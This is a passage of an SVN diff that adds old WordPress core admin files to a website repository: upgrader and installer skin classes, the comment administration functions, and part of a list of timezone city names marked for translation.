+		if ( $wp_filesystem->exists( trailingslashit($themes_dir) . $theme ) )
+			if ( ! $wp_filesystem->delete( trailingslashit($themes_dir) . $theme, true ) )
+				return false;
+		return true;
+	}
+
+	function theme_info() {
+		if ( empty($this->result['destination_name']) )
+			return false;
+		return get_theme_data(WP_CONTENT_DIR . '/themes/' . $this->result['destination_name'] . '/style.css');
+	}
+
+}
+
+/**
+ * Core Upgrader class for WordPress. It allows for WordPress to upgrade itself in combiantion with the wp-admin/includes/update-core.php file
+ *
+ * @TODO More Detailed docs, for methods as well.
+ *
+ * @package WordPress
+ * @subpackage Upgrader
+ * @since 2.8.0
+ */
+class Core_Upgrader extends WP_Upgrader {
+
+	function upgrade_strings() {
+		$this->strings['up_to_date'] = __('WordPress is at the latest version.');
+		$this->strings['no_package'] = __('Upgrade package not available.');
+		$this->strings['downloading_package'] = __('Downloading update from <span class="code">%s</span>.');
+		$this->strings['unpack_package'] = __('Unpacking the update.');
+		$this->strings['copy_failed'] = __('Could not copy files.');
+	}
+
+	function upgrade($current) {
+		global $wp_filesystem;
+
+		$this->init();
+		$this->upgrade_strings();
+
+		if ( !empty($feedback) )
+			add_filter('update_feedback', $feedback);
+
+		// Is an update available?
+		if ( !isset( $current->response ) || $current->response == 'latest' )
+			return new WP_Error('up_to_date', $this->strings['up_to_date']);
+
+		$res = $this->fs_connect( array(ABSPATH, WP_CONTENT_DIR) );
+		if ( is_wp_error($res) )
+			return $res;
+
+		$wp_dir = trailingslashit($wp_filesystem->abspath());
+
+		$download = $this->download_package( $current->package );
+		if ( is_wp_error($download) )
+			return $download;
+
+		$working_dir = $this->unpack_package( $download );
+		if ( is_wp_error($working_dir) )
+			return $working_dir;
+
+		// Copy update-core.php from the new version into place.
+		if ( !$wp_filesystem->copy($working_dir . '/wordpress/wp-admin/includes/update-core.php', $wp_dir . 'wp-admin/includes/update-core.php', true) ) {
+			$wp_filesystem->delete($working_dir, true);
+			return new WP_Error('copy_failed', $this->strings['copy_failed']);
+		}
+		$wp_filesystem->chmod($wp_dir . 'wp-admin/includes/update-core.php', FS_CHMOD_FILE);
+
+		require(ABSPATH . 'wp-admin/includes/update-core.php');
+
+		return update_core($working_dir, $wp_dir);
+	}
+
+}
+
+/**
+ * Generic Skin for the WordPress Upgrader classes. This skin is designed to be extended for specific purposes.
+ *
+ * @TODO More Detailed docs, for methods as well.
+ *
+ * @package WordPress
+ * @subpackage Upgrader
+ * @since 2.8.0
+ */
+class WP_Upgrader_Skin {
+
+	var $upgrader;
+	var $done_header = false;
+
+	function WP_Upgrader_Skin($args = array()) {
+		return $this->__construct($args);
+	}
+	function __construct($args = array()) {
+		$defaults = array( 'url' => '', 'nonce' => '', 'title' => '', 'context' => false );
+		$this->options = wp_parse_args($args, $defaults);
+	}
+
+	function set_upgrader(&$upgrader) {
+		if ( is_object($upgrader) )
+			$this->upgrader =& $upgrader;
+	}
+	function set_result($result) {
+		$this->result = $result;
+	}
+
+	function request_filesystem_credentials($error = false) {
+		$url = $this->options['url'];
+		$context = $this->options['context'];
+		if ( !empty($this->options['nonce']) )
+			$url = wp_nonce_url($url, $this->options['nonce']);
+		return request_filesystem_credentials($url, '', $error, $context); //Possible to bring inline, Leaving as is for now.
+	}
+
+	function header() {
+		if ( $this->done_header )
+			return;
+		$this->done_header = true;
+		echo '<div class="wrap">';
+		echo screen_icon();
+		echo '<h2>' . $this->options['title'] . '</h2>';
+	}
+	function footer() {
+		echo '</div>';
+	}
+
+	function error($errors) {
+		if ( ! $this->done_header )
+			$this->header();
+		if ( is_string($errors) ) {
+			$this->feedback($errors);
+		} elseif ( is_wp_error($errors) && $errors->get_error_code() ) {
+			foreach ( $errors->get_error_messages() as $message ) {
+				if ( $errors->get_error_data() )
+					$this->feedback($message . ' ' . $errors->get_error_data() );
+				else
+					$this->feedback($message);
+			}
+		}
+	}
+
+	function feedback($string) {
+		if ( isset( $this->upgrader->strings[$string] ) )
+			$string = $this->upgrader->strings[$string];
+
+		if ( strpos($string, '%') !== false ) {
+			$args = func_get_args();
+			$args = array_splice($args, 1);
+			if ( !empty($args) )
+				$string = vsprintf($string, $args);
+		}
+		if ( empty($string) )
+			return;
+		show_message($string);
+	}
+	function before() {}
+	function after() {}
+
+}
+
+/**
+ * Plugin Upgrader Skin for WordPress Plugin Upgrades.
+ *
+ * @TODO More Detailed docs, for methods as well.
+ *
+ * @package WordPress
+ * @subpackage Upgrader
+ * @since 2.8.0
+ */
+class Plugin_Upgrader_Skin extends WP_Upgrader_Skin {
+	var $plugin = '';
+	var $plugin_active = false;
+
+	function Plugin_Upgrader_Skin($args = array()) {
+		return $this->__construct($args);
+	}
+
+	function __construct($args = array()) {
+		$defaults = array( 'url' => '', 'plugin' => '', 'nonce' => '', 'title' => __('Upgrade Plugin') );
+		$args = wp_parse_args($args, $defaults);
+
+		$this->plugin = $args['plugin'];
+
+		$this->plugin_active = is_plugin_active($this->plugin);
+
+		parent::__construct($args);
+	}
+
+	function after() {
+		$this->plugin = $this->upgrader->plugin_info();
+		if( !empty($this->plugin) && !is_wp_error($this->result) && $this->plugin_active ){
+			show_message(__('Attempting reactivation of the plugin'));
+			echo '<iframe style="border:0;overflow:hidden" width="100%" height="170px" src="' . wp_nonce_url('update.php?action=activate-plugin&plugin=' . $this->plugin, 'activate-plugin_' . $this->plugin) .'"></iframe>';
+		}
+		$update_actions =  array(
+			'activate_plugin' => '<a href="' . wp_nonce_url('plugins.php?action=activate&amp;plugin=' . $this->plugin, 'activate-plugin_' . $this->plugin) . '" title="' . esc_attr__('Activate this plugin') . '" target="_parent">' . __('Activate Plugin') . '</a>',
+			'plugins_page' => '<a href="' . admin_url('plugins.php') . '" title="' . esc_attr__('Goto plugins page') . '" target="_parent">' . __('Return to Plugins page') . '</a>'
+		);
+		if ( $this->plugin_active )
+			unset( $update_actions['activate_plugin'] );
+		if ( ! $this->result || is_wp_error($this->result) )
+			unset( $update_actions['activate_plugin'] );
+
+		$update_actions = apply_filters('update_plugin_complete_actions', $update_actions, $this->plugin);
+		if ( ! empty($update_actions) )
+			$this->feedback('<strong>' . __('Actions:') . '</strong> ' . implode(' | ', (array)$update_actions));
+	}
+}
+
+/**
+ * Plugin Installer Skin for WordPress Plugin Installer.
+ *
+ * @TODO More Detailed docs, for methods as well.
+ *
+ * @package WordPress
+ * @subpackage Upgrader
+ * @since 2.8.0
+ */
+class Plugin_Installer_Skin extends WP_Upgrader_Skin {
+	var $api;
+	var $type;
+
+	function Plugin_Installer_Skin($args = array()) {
+		return $this->__construct($args);
+	}
+
+	function __construct($args = array()) {
+		$defaults = array( 'type' => 'web', 'url' => '', 'plugin' => '', 'nonce' => '', 'title' => '' );
+		$args = wp_parse_args($args, $defaults);
+
+		$this->type = $args['type'];
+		$this->api = isset($args['api']) ? $args['api'] : array();
+
+		parent::__construct($args);
+	}
+
+	function before() {
+		if ( !empty($this->api) )
+			$this->upgrader->strings['process_success'] = sprintf( __('Successfully installed the plugin <strong>%s %s</strong>.'), $this->api->name, $this->api->version);
+	}
+
+	function after() {
+
+		$plugin_file = $this->upgrader->plugin_info();
+
+		$install_actions = array(
+			'activate_plugin' => '<a href="' . wp_nonce_url('plugins.php?action=activate&amp;plugin=' . $plugin_file, 'activate-plugin_' . $plugin_file) . '" title="' . esc_attr__('Activate this plugin') . '" target="_parent">' . __('Activate Plugin') . '</a>',
+							);
+
+		if ( $this->type == 'web' )
+			$install_actions['plugins_page'] = '<a href="' . admin_url('plugin-install.php') . '" title="' . esc_attr__('Return to Plugin Installer') . '" target="_parent">' . __('Return to Plugin Installer') . '</a>';
+		else
+			$install_actions['plugins_page'] = '<a href="' . admin_url('plugins.php') . '" title="' . esc_attr__('Return to Plugins page') . '" target="_parent">' . __('Return to Plugins page') . '</a>';
+
+
+		if ( ! $this->result || is_wp_error($this->result) )
+			unset( $install_actions['activate_plugin'] );
+
+		$install_actions = apply_filters('install_plugin_complete_actions', $install_actions, $this->api, $plugin_file);
+		if ( ! empty($install_actions) )
+			$this->feedback('<strong>' . __('Actions:') . '</strong> ' . implode(' | ', (array)$install_actions));
+	}
+}
+
+/**
+ * Theme Installer Skin for the WordPress Theme Installer.
+ *
+ * @TODO More Detailed docs, for methods as well.
+ *
+ * @package WordPress
+ * @subpackage Upgrader
+ * @since 2.8.0
+ */
+class Theme_Installer_Skin extends WP_Upgrader_Skin {
+	var $api;
+	var $type;
+
+	function Theme_Installer_Skin($args = array()) {
+		return $this->__construct($args);
+	}
+
+	function __construct($args = array()) {
+		$defaults = array( 'type' => 'web', 'url' => '', 'theme' => '', 'nonce' => '', 'title' => '' );
+		$args = wp_parse_args($args, $defaults);
+
+		$this->type = $args['type'];
+		$this->api = isset($args['api']) ? $args['api'] : array();
+
+		parent::__construct($args);
+	}
+
+	function before() {
+		if ( !empty($this->api) ) {
+			/* translators: 1: theme name, 2: version */
+			$this->upgrader->strings['process_success'] = sprintf( __('Successfully installed the theme <strong>%1$s %2$s</strong>.'), $this->api->name, $this->api->version);
+		}
+	}
+
+	function after() {
+		if ( empty($this->upgrader->result['destination_name']) )
+			return;
+
+		$theme_info = $this->upgrader->theme_info();
+		if ( empty($theme_info) )
+			return;
+		$name = $theme_info['Name'];
+		$stylesheet = $this->upgrader->result['destination_name'];
+		$template = !empty($theme_info['Template']) ? $theme_info['Template'] : $stylesheet;
+
+		$preview_link = htmlspecialchars( add_query_arg( array('preview' => 1, 'template' => $template, 'stylesheet' => $stylesheet, 'TB_iframe' => 'true' ), trailingslashit(esc_url(get_option('home'))) ) );
+		$activate_link = wp_nonce_url("themes.php?action=activate&amp;template=" . urlencode($template) . "&amp;stylesheet=" . urlencode($stylesheet), 'switch-theme_' . $template);
+
+		$install_actions = array(
+			'preview' => '<a href="' . $preview_link . '" class="thickbox thickbox-preview" title="' . esc_attr(sprintf(__('Preview &#8220;%s&#8221;'), $name)) . '">' . __('Preview') . '</a>',
+			'activate' => '<a href="' . $activate_link .  '" class="activatelink" title="' . esc_attr( sprintf( __('Activate &#8220;%s&#8221;'), $name ) ) . '">' . __('Activate') . '</a>'
+							);
+
+		if ( $this->type == 'web' )
+			$install_actions['themes_page'] = '<a href="' . admin_url('theme-install.php') . '" title="' . esc_attr__('Return to Theme Installer') . '" target="_parent">' . __('Return to Theme Installer') . '</a>';
+		else
+			$install_actions['themes_page'] = '<a href="' . admin_url('themes.php') . '" title="' . esc_attr__('Themes page') . '" target="_parent">' . __('Return to Themes page') . '</a>';
+
+		if ( ! $this->result || is_wp_error($this->result) )
+			unset( $install_actions['activate'], $install_actions['preview'] );
+
+		$install_actions = apply_filters('install_theme_complete_actions', $install_actions, $this->api, $stylesheet, $theme_info);
+		if ( ! empty($install_actions) )
+			$this->feedback('<strong>' . __('Actions:') . '</strong> ' . implode(' | ', (array)$install_actions));
+	}
+}
+
+/**
+ * Theme Upgrader Skin for WordPress Theme Upgrades.
+ *
+ * @TODO More Detailed docs, for methods as well.
+ *
+ * @package WordPress
+ * @subpackage Upgrader
+ * @since 2.8.0
+ */
+class Theme_Upgrader_Skin extends WP_Upgrader_Skin {
+	var $theme = '';
+
+	function Theme_Upgrader_Skin($args = array()) {
+		return $this->__construct($args);
+	}
+
+	function __construct($args = array()) {
+		$defaults = array( 'url' => '', 'theme' => '', 'nonce' => '', 'title' => __('Upgrade Theme') );
+		$args = wp_parse_args($args, $defaults);
+
+		$this->theme = $args['theme'];
+
+		parent::__construct($args);
+	}
+
+	function after() {
+
+		if ( !empty($this->upgrader->result['destination_name']) &&
+			($theme_info = $this->upgrader->theme_info()) &&
+			!empty($theme_info) ) {
+
+			$name = $theme_info['Name'];
+			$stylesheet = $this->upgrader->result['destination_name'];
+			$template = !empty($theme_info['Template']) ? $theme_info['Template'] : $stylesheet;
+	
+			$preview_link = htmlspecialchars( add_query_arg( array('preview' => 1, 'template' => $template, 'stylesheet' => $stylesheet, 'TB_iframe' => 'true' ), trailingslashit(esc_url(get_option('home'))) ) );
+			$activate_link = wp_nonce_url("themes.php?action=activate&amp;template=" . urlencode($template) . "&amp;stylesheet=" . urlencode($stylesheet), 'switch-theme_' . $template);
+	
+			$update_actions =  array(
+				'preview' => '<a href="' . $preview_link . '" class="thickbox thickbox-preview" title="' . esc_attr(sprintf(__('Preview &#8220;%s&#8221;'), $name)) . '">' . __('Preview') . '</a>',
+				'activate' => '<a href="' . $activate_link .  '" class="activatelink" title="' . esc_attr( sprintf( __('Activate &#8220;%s&#8221;'), $name ) ) . '">' . __('Activate') . '</a>',
+			);
+			if ( ( ! $this->result || is_wp_error($this->result) ) || $stylesheet == get_stylesheet() )
+				unset($update_actions['preview'], $update_actions['activate']);
+		}
+
+		$update_actions['themes_page'] = '<a href="' . admin_url('themes.php') . '" title="' . esc_attr__('Return to Themes page') . '" target="_parent">' . __('Return to Themes page') . '</a>';
+
+		$update_actions = apply_filters('update_theme_complete_actions', $update_actions, $this->theme);
+		if ( ! empty($update_actions) )
+			$this->feedback('<strong>' . __('Actions:') . '</strong> ' . implode(' | ', (array)$update_actions));
+	}
+}
+
+/**
+ * Upgrade Skin helper for File uploads. This class handles the upload process and passes it as if its a local file to the Upgrade/Installer functions.
+ *
+ * @TODO More Detailed docs, for methods as well.
+ *
+ * @package WordPress
+ * @subpackage Upgrader
+ * @since 2.8.0
+ */
+class File_Upload_Upgrader {
+	var $package;
+	var $filename;
+
+	function File_Upload_Upgrader($form, $urlholder) {
+		return $this->__construct($form, $urlholder);
+	}
+	function __construct($form, $urlholder) {
+		if ( ! ( ( $uploads = wp_upload_dir() ) && false === $uploads['error'] ) )
+			wp_die($uploads['error']);
+
+		if ( empty($_FILES[$form]['name']) && empty($_GET[$urlholder]) )
+			wp_die(__('Please select a file'));
+
+		if ( !empty($_FILES) )
+			$this->filename = $_FILES[$form]['name'];
+		else if ( isset($_GET[$urlholder]) )
+			$this->filename = $_GET[$urlholder];
+
+		//Handle a newly uploaded file, Else assume its already been uploaded
+		if ( !empty($_FILES) ) {
+			$this->filename = wp_unique_filename( $uploads['basedir'], $this->filename );
+			$this->package = $uploads['basedir'] . '/' . $this->filename;
+
+			// Move the file to the uploads dir
+			if ( false === @ move_uploaded_file( $_FILES[$form]['tmp_name'], $this->package) )
+				wp_die( sprintf( __('The uploaded file could not be moved to %s.' ), $uploads['path']));
+		} else {
+			$this->package = $uploads['basedir'] . '/' . $this->filename;
+		}
+	}
+}
Index: /trunk/www.guidonia.net/wp/wp-admin/includes/comment.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/includes/comment.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/includes/comment.php	(revision 44)
@@ -0,0 +1,167 @@
+<?php
+/**
+ * WordPress Comment Administration API.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ * @uses $wpdb
+ *
+ * @param string $comment_author
+ * @param string $comment_date
+ * @return mixed Comment ID on success.
+ */
+function comment_exists($comment_author, $comment_date) {
+	global $wpdb;
+
+	$comment_author = stripslashes($comment_author);
+	$comment_date = stripslashes($comment_date);
+
+	return $wpdb->get_var( $wpdb->prepare("SELECT comment_post_ID FROM $wpdb->comments
+			WHERE comment_author = %s AND comment_date = %s", $comment_author, $comment_date) );
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ */
+function edit_comment() {
+
+	$comment_post_ID = (int) $_POST['comment_post_ID'];
+
+	if (!current_user_can( 'edit_post', $comment_post_ID ))
+		wp_die( __('You are not allowed to edit comments on this post, so you cannot edit this comment.' ));
+
+	$_POST['comment_author'] = $_POST['newcomment_author'];
+	$_POST['comment_author_email'] = $_POST['newcomment_author_email'];
+	$_POST['comment_author_url'] = $_POST['newcomment_author_url'];
+	$_POST['comment_approved'] = $_POST['comment_status'];
+	$_POST['comment_content'] = $_POST['content'];
+	$_POST['comment_ID'] = (int) $_POST['comment_ID'];
+
+	foreach ( array ('aa', 'mm', 'jj', 'hh', 'mn') as $timeunit ) {
+		if ( !empty( $_POST['hidden_' . $timeunit] ) && $_POST['hidden_' . $timeunit] != $_POST[$timeunit] ) {
+			$_POST['edit_date'] = '1';
+			break;
+		}
+	}
+
+	if (!empty ( $_POST['edit_date'] ) ) {
+		$aa = $_POST['aa'];
+		$mm = $_POST['mm'];
+		$jj = $_POST['jj'];
+		$hh = $_POST['hh'];
+		$mn = $_POST['mn'];
+		$ss = $_POST['ss'];
+		$jj = ($jj > 31 ) ? 31 : $jj;
+		$hh = ($hh > 23 ) ? $hh -24 : $hh;
+		$mn = ($mn > 59 ) ? $mn -60 : $mn;
+		$ss = ($ss > 59 ) ? $ss -60 : $ss;
+		$_POST['comment_date'] = "$aa-$mm-$jj $hh:$mn:$ss";
+	}
+
+	wp_update_comment( $_POST);
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $id
+ * @return unknown
+ */
+function get_comment_to_edit( $id ) {
+	if ( !$comment = get_comment($id) )
+		return false;
+
+	$comment->comment_ID = (int) $comment->comment_ID;
+	$comment->comment_post_ID = (int) $comment->comment_post_ID;
+
+	$comment->comment_content = format_to_edit( $comment->comment_content );
+	$comment->comment_content = apply_filters( 'comment_edit_pre', $comment->comment_content);
+
+	$comment->comment_author = format_to_edit( $comment->comment_author );
+	$comment->comment_author_email = format_to_edit( $comment->comment_author_email );
+	$comment->comment_author_url = esc_url($comment->comment_author_url);
+	$comment->comment_author_url = format_to_edit( $comment->comment_author_url );
+
+	return $comment;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ * @uses $wpdb
+ *
+ * @param int $post_id Post ID
+ * @return unknown
+ */
+function get_pending_comments_num( $post_id ) {
+	global $wpdb;
+
+	$single = false;
+	if ( !is_array($post_id) ) {
+		$post_id = (array) $post_id;
+		$single = true;
+	}
+	$post_id = array_map('intval', $post_id);
+	$post_id = "'" . implode("', '", $post_id) . "'";
+
+	$pending = $wpdb->get_results( "SELECT comment_post_ID, COUNT(comment_ID) as num_comments FROM $wpdb->comments WHERE comment_post_ID IN ( $post_id ) AND comment_approved = '0' GROUP BY comment_post_ID", ARRAY_N );
+
+	if ( empty($pending) )
+		return 0;
+
+	if ( $single )
+		return $pending[0][1];
+
+	$pending_keyed = array();
+	foreach ( $pending as $pend )
+		$pending_keyed[$pend[0]] = $pend[1];
+
+	return $pending_keyed;
+}
+
+/**
+ * Add avatars to relevant places in admin, or try to.
+ *
+ * @since unknown
+ * @uses $comment
+ *
+ * @param string $name User name.
+ * @return string Avatar with Admin name.
+ */
+function floated_admin_avatar( $name ) {
+	global $comment;
+
+	$id = $avatar = false;
+	if ( $comment->comment_author_email )
+		$id = $comment->comment_author_email;
+	if ( $comment->user_id )
+		$id = $comment->user_id;
+
+	if ( $id )
+		$avatar = get_avatar( $id, 32 );
+
+	return "$avatar $name";
+}
+
+function enqueue_comment_hotkeys_js() {
+	if ( 'true' == get_user_option( 'comment_shortcuts' ) )
+		wp_enqueue_script( 'jquery-table-hotkeys' );
+}
+
+if ( is_admin() && isset($pagenow) && ('edit-comments.php' == $pagenow || 'edit.php' == $pagenow) ) {
+	if ( get_option('show_avatars') )
+		add_filter( 'comment_author', 'floated_admin_avatar' );
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/includes/continents-cities.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/includes/continents-cities.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/includes/continents-cities.php	(revision 44)
@@ -0,0 +1,493 @@
+<?php
+
+/* Continent and city translations for timezone selection.
+ * This file is not included anywhere. It exists solely for use by xgettext.
+ */
+
+__('Africa', 'continents-cities');
+__('Abidjan', 'continents-cities');
+__('Accra', 'continents-cities');
+__('Addis Ababa', 'continents-cities');
+__('Algiers', 'continents-cities');
+__('Asmara', 'continents-cities');
+__('Asmera', 'continents-cities');
+__('Bamako', 'continents-cities');
+__('Bangui', 'continents-cities');
+__('Banjul', 'continents-cities');
+__('Bissau', 'continents-cities');
+__('Blantyre', 'continents-cities');
+__('Brazzaville', 'continents-cities');
+__('Bujumbura', 'continents-cities');
+__('Cairo', 'continents-cities');
+__('Casablanca', 'continents-cities');
+__('Ceuta', 'continents-cities');
+__('Conakry', 'continents-cities');
+__('Dakar', 'continents-cities');
+__('Dar es Salaam', 'continents-cities');
+__('Djibouti', 'continents-cities');
+__('Douala', 'continents-cities');
+__('El Aaiun', 'continents-cities');
+__('Freetown', 'continents-cities');
+__('Gaborone', 'continents-cities');
+__('Harare', 'continents-cities');
+__('Johannesburg', 'continents-cities');
+__('Kampala', 'continents-cities');
+__('Khartoum', 'continents-cities');
+__('Kigali', 'continents-cities');
+__('Kinshasa', 'continents-cities');
+__('Lagos', 'continents-cities');
+__('Libreville', 'continents-cities');
+__('Lome', 'continents-cities');
+__('Luanda', 'continents-cities');
+__('Lubumbashi', 'continents-cities');
+__('Lusaka', 'continents-cities');
+__('Malabo', 'continents-cities');
+__('Maputo', 'continents-cities');
+__('Maseru', 'continents-cities');
+__('Mbabane', 'continents-cities');
+__('Mogadishu', 'continents-cities');
+__('Monrovia', 'continents-cities');
+__('Nairobi', 'continents-cities');
+__('Ndjamena', 'continents-cities');
+__('Niamey', 'continents-cities');
+__('Nouakchott', 'continents-cities');
+__('Ouagadougou', 'continents-cities');
+__('Porto-Novo', 'continents-cities');
+__('Sao Tome', 'continents-cities');
+__('Timbuktu', 'continents-cities');
+__('Tripoli', 'continents-cities');
+__('Tunis', 'continents-cities');
+__('Windhoek', 'continents-cities');
+__('America', 'continents-cities');
+__('Adak', 'continents-cities');
+__('Anchorage', 'continents-cities');
+__('Anguilla', 'continents-cities');
+__('Antigua', 'continents-cities');
+__('Araguaina', 'continents-cities');
+__('Argentina', 'continents-cities');
+__('Buenos Aires', 'continents-cities');
+__('Catamarca', 'continents-cities');
+__('ComodRivadavia', 'continents-cities');
+__('Cordoba', 'continents-cities');
+__('Jujuy', 'continents-cities');
+__('La Rioja', 'continents-cities');
+__('Mendoza', 'continents-cities');
+__('Rio Gallegos', 'continents-cities');
+__('San Juan', 'continents-cities');
+__('San Luis', 'continents-cities');
+__('Tucuman', 'continents-cities');
+__('Ushuaia', 'continents-cities');
+__('Aruba', 'continents-cities');
+__('Asuncion', 'continents-cities');
+__('Atikokan', 'continents-cities');
+__('Atka', 'continents-cities');
+__('Bahia', 'continents-cities');
+__('Barbados', 'continents-cities');
+__('Belem', 'continents-cities');
+__('Belize', 'continents-cities');
+__('Blanc-Sablon', 'continents-cities');
+__('Boa Vista', 'continents-cities');
+__('Bogota', 'continents-cities');
+__('Boise', 'continents-cities');
+__('Cambridge Bay', 'continents-cities');
+__('Campo Grande', 'continents-cities');
+__('Cancun', 'continents-cities');
+__('Caracas', 'continents-cities');
+__('Cayenne', 'continents-cities');
+__('Cayman', 'continents-cities');
+__('Chicago', 'continents-cities');
+__('Chihuahua', 'continents-cities');
+__('Coral Harbour', 'continents-cities');
+__('Costa Rica', 'continents-cities');
+__('Cuiaba', 'continents-cities');
+__('Curacao', 'continents-cities');
+__('Danmarkshavn', 'continents-cities');
+__('Dawson', 'continents-cities');
+__('Dawson Creek', 'continents-cities');
+__('Denver', 'continents-cities');
+__('Detroit', 'continents-cities');
+__('Dominica', 'continents-cities');
+__('Edmonton', 'continents-cities');
+__('Eirunepe', 'continents-cities');
+__('El Salvador', 'continents-cities');
+__('Ensenada', 'continents-cities');
+__('Fort Wayne', 'continents-cities');
+__('Fortaleza', 'continents-cities');
+__('Glace Bay', 'continents-cities');
+__('Godthab', 'continents-cities');
+__('Goose Bay', 'continents-cities');
+__('Grand Turk', 'continents-cities');
+__('Grenada', 'continents-cities');
+__('Guadeloupe', 'continents-cities');
+__('Guatemala', 'continents-cities');
+__('Guayaquil', 'continents-cities');
+__('Guyana', 'continents-cities');
+__('Halifax', 'continents-cities');
+__('Havana', 'continents-cities');
+__('Hermosillo', 'continents-cities');
+__('Indiana', 'continents-cities');
+__('Indianapolis', 'continents-cities');
+__('Knox', 'continents-cities');
+__('Marengo', 'continents-cities');
+__('Petersburg', 'continents-cities');
+__('Tell City', 'continents-cities');
+__('Vevay', 'continents-cities');
+__('Vincennes', 'continents-cities');
+__('Winamac', 'continents-cities');
+__('Inuvik', 'continents-cities');
+__('Iqaluit', 'continents-cities');
+__('Jamaica', 'continents-cities');
+__('Juneau', 'continents-cities');
+__('Kentucky', 'continents-cities');
+__('Louisville', 'continents-cities');
+__('Monticello', 'continents-cities');
+__('Knox IN', 'continents-cities');
+__('La Paz', 'continents-cities');
+__('Lima', 'continents-cities');
+__('Los Angeles', 'continents-cities');
+__('Maceio', 'continents-cities');
+__('Managua', 'continents-cities');
+__('Manaus', 'continents-cities');
+__('Marigot', 'continents-cities');
+__('Martinique', 'continents-cities');
+__('Mazatlan', 'continents-cities');
+__('Menominee', 'continents-cities');
+__('Merida', 'continents-cities');
+__('Mexico City', 'continents-cities');
+__('Miquelon', 'continents-cities');
+__('Moncton', 'continents-cities');
+__('Monterrey', 'continents-cities');
+__('Montevideo', 'continents-cities');
+__('Montreal', 'continents-cities');
+__('Montserrat', 'continents-cities');
+__('Nassau', 'continents-cities');
+__('New York', 'continents-cities');
+__('Nipigon', 'continents-cities');
+__('Nome', 'continents-cities');
+__('Noronha', 'continents-cities');
+__('North Dakota', 'continents-cities');
+__('Center', 'continents-cities');
+__('New Salem', 'continents-cities');
+__('Panama', 'continents-cities');
+__('Pangnirtung', 'continents-cities');
+__('Paramaribo', 'continents-cities');
+__('Phoenix', 'continents-cities');
+__('Port-au-Prince', 'continents-cities');
+__('Port of Spain', 'continents-cities');
+__('Porto Acre', 'continents-cities');
+__('Porto Velho', 'continents-cities');
+__('Puerto Rico', 'continents-cities');
+__('Rainy River', 'continents-cities');
+__('Rankin Inlet', 'continents-cities');
+__('Recife', 'continents-cities');
+__('Regina', 'continents-cities');
+__('Resolute', 'continents-cities');
+__('Rio Branco', 'continents-cities');
+__('Rosario', 'continents-cities');
+__('Santiago', 'continents-cities');
+__('Santo Domingo', 'continents-cities');
+__('Sao Paulo', 'continents-cities');
+__('Scoresbysund', 'continents-cities');
+__('Shiprock', 'continents-cities');
+__('St Barthelemy', 'continents-cities');
+__('St Johns', 'continents-cities');
+__('St Kitts', 'continents-cities');
+__('St Lucia', 'continents-cities');
+__('St Thomas', 'continents-cities');
+__('St Vincent', 'continents-cities');
+__('Swift Current', 'continents-cities');
+__('Tegucigalpa', 'continents-cities');
+__('Thule', 'continents-cities');
+__('Thunder Bay', 'continents-cities');
+__('Tijuana', 'continents-cities');
+__('Toronto', 'continents-cities');
+__('Tortola', 'continents-cities');
+__('Vancouver', 'continents-cities');
+__('Virgin', 'continents-cities');
+__('Whitehorse', 'continents-cities');
+__('Winnipeg', 'continents-cities');
+__('Yakutat', 'continents-cities');
+__('Yellowknife', 'continents-cities');
+__('Antarctica', 'continents-cities');
+__('Casey', 'continents-cities');
+__('Davis', 'continents-cities');
+__('DumontDUrville', 'continents-cities');
+__('Mawson', 'continents-cities');
+__('McMurdo', 'continents-cities');
+__('Palmer', 'continents-cities');
+__('Rothera', 'continents-cities');
+__('South Pole', 'continents-cities');
+__('Syowa', 'continents-cities');
+__('Vostok', 'continents-cities');
+__('Arctic', 'continents-cities');
+__('Longyearbyen', 'continents-cities');
+__('Asia', 'continents-cities');
+__('Aden', 'continents-cities');
+__('Almaty', 'continents-cities');
+__('Amman', 'continents-cities');
+__('Anadyr', 'continents-cities');
+__('Aqtau', 'continents-cities');
+__('Aqtobe', 'continents-cities');
+__('Ashgabat', 'continents-cities');
+__('Ashkhabad', 'continents-cities');
+__('Baghdad', 'continents-cities');
+__('Bahrain', 'continents-cities');
+__('Baku', 'continents-cities');
+__('Bangkok', 'continents-cities');
+__('Beirut', 'continents-cities');
+__('Bishkek', 'continents-cities');
+__('Brunei', 'continents-cities');
+__('Calcutta', 'continents-cities');
+__('Choibalsan', 'continents-cities');
+__('Chongqing', 'continents-cities');
+__('Chungking', 'continents-cities');
+__('Colombo', 'continents-cities');
+__('Dacca', 'continents-cities');
+__('Damascus', 'continents-cities');
+__('Dhaka', 'continents-cities');
+__('Dili', 'continents-cities');
+__('Dubai', 'continents-cities');
+__('Dushanbe', 'continents-cities');
+__('Gaza', 'continents-cities');
+__('Harbin', 'continents-cities');
+__('Ho Chi Minh', 'continents-cities');
+__('Hong Kong', 'continents-cities');
+__('Hovd', 'continents-cities');
+__('Irkutsk', 'continents-cities');
+__('Istanbul', 'continents-cities');
+__('Jakarta', 'continents-cities');
+__('Jayapura', 'continents-cities');
+__('Jerusalem', 'continents-cities');
+__('Kabul', 'continents-cities');
+__('Kamchatka', 'continents-cities');
+__('Karachi', 'continents-cities');
+__('Kashgar', 'continents-cities');
+__('Katmandu', 'continents-cities');
+__('Kolkata', 'continents-cities');
+__('Krasnoyarsk', 'continents-cities');
+__('Kuala Lumpur', 'continents-cities');
+__('Kuching', 'continents-cities');
+__('Kuwait', 'continents-cities');
+__('Macao', 'continents-cities');
+__('Macau', 'continents-cities');
+__('Magadan', 'continents-cities');
+__('Makassar', 'continents-cities');
+__('Manila', 'continents-cities');
+__('Muscat', 'continents-cities');
+__('Nicosia', 'continents-cities');
+__('Novosibirsk', 'continents-cities');
+__('Omsk', 'continents-cities');
+__('Oral', 'continents-cities');
+__('Phnom Penh', 'continents-cities');
+__('Pontianak', 'continents-cities');
+__('Pyongyang', 'continents-cities');
+__('Qatar', 'continents-cities');
+__('Qyzylorda', 'continents-cities');
+__('Rangoon', 'continents-cities');
+__('Riyadh', 'continents-cities');
+__('Saigon', 'continents-cities');
+__('Sakhalin', 'continents-cities');
